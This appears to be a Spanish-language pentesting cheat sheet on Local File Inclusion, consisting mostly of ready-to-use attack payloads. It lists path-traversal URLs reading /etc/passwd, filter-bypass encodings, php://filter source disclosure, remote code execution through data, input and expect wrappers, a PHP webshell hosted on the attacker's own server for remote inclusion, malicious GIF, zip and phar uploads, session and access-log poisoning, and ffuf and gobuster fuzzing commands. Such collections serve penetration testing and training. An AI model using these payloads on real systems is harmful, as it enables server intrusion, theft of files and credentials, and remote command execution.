Page cover

📁Local File Inclusion

Local File Inclusion es una técnica de ataque utilizada para acceder a archivos y directorios fuera de la ubicación prevista en un sistema web, por ejemplo añadiendo parámetros en la URL.

Path Traversal

Podemos utilizar BurpSuite y escanear una petición, buscando un parámetro tipo:

?page=

Suele pasar mucho en páginas en php y que tengan varios idiomas.

Inyectamos parámetro en URL

Para acceder al archivo passwd podríamos añadir en la URL:

?page=../../../../../etc/passwd

Automatizar con Gobuster

Podemos automatizar el proceso de búsqueda de un Local File Inclusion con Gobuster y el diccionario LFI-Jhaddix.txt de las Seclists:

gobuster fuzz -u http://example.com/shop/?archivo=FUZZ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --exclude-length 1112

LFI Suite

LFI Suite es una herramienta de código abierto diseñada para automatizar y facilitar la identificación y explotación de vulnerabilidades de Inclusión de Archivos Locales (LFI) en aplicaciones web.

Instalación y uso

git clone https://github.com/D35m0nd142/LFISuite.git
cd LFISuite
python lfi.py

Guia rápida

Comando

Descripción

Basic LFI

/index.php?language=/etc/passwd

LFI Básico

/index.php?language=../../../../etc/passwd

LFI con path traversal

/index.php?language=/../../../etc/passwd

LFI con name prefix

/index.php?language=./languages/../../../../etc/passwd

LFI con approved path

LFI Bypasses

/index.php?language=....//....//....//....//etc/passwd

Bypass basic path traversal filter

/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Bypass de filtros con URL encoding

/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

Bypass appended extension con path truncation (obsoleto)

/index.php?language=../../../../etc/passwd%00

Bypass appended extension con null byte (obsoleto)

/index.php?language=php://filter/read=convert.base64-encode/resource=config

Leer PHP con filtro base64

Remote Code Execution

Comando

Descripción

PHP Wrappers

/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

RCE con data wrapper

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

RCE con input wrapper

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

RCE con expect wrapper

RFI

echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>

Host webshell

/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Include remote PHP web shell

LFI + Upload

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Crear imagen maliciosa

/index.php?language=./profile_images/shell.gif&cmd=id

RCE con imagen subida maliciosa

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

Crear un archivo zip malicioso 'como jpg'

/index.php?language=zip://shell.zip%23shell.php&cmd=id

RCE con zip subido malicioso

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Crear phar malicioso 'como jpg'

/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

RCE con phar subido malicioso

Log Poisoning

/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

Leer los parámetros de la sesión PHP

/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

Envenenar Sesión PHP con webshell

/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

RCE a través de una Sesión PHP envenenada

curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'

Poison server log

/index.php?language=/var/log/apache2/access.log&cmd=id

RCE a través de una Sesión PHP envenenada

Fuzzing

Comando

Descripción

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287

Fuzz page parameters

ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

Fuzz LFI payloads

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

Fuzz webroot path

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

Fuzz server configurations

File Inclusion Functions

Función

Leer contenido

Ejecutar contenido

URL remota

PHP

include()/include_once()

require()/require_once()

file_get_contents()

fopen()/file()

NodeJS

fs.readFile()

fs.sendFile()

res.render()

Java

include

import

.NET

@Html.Partial()

@Html.RemotePartial()

Response.WriteFile()

include

Última actualización

¿Te fue útil?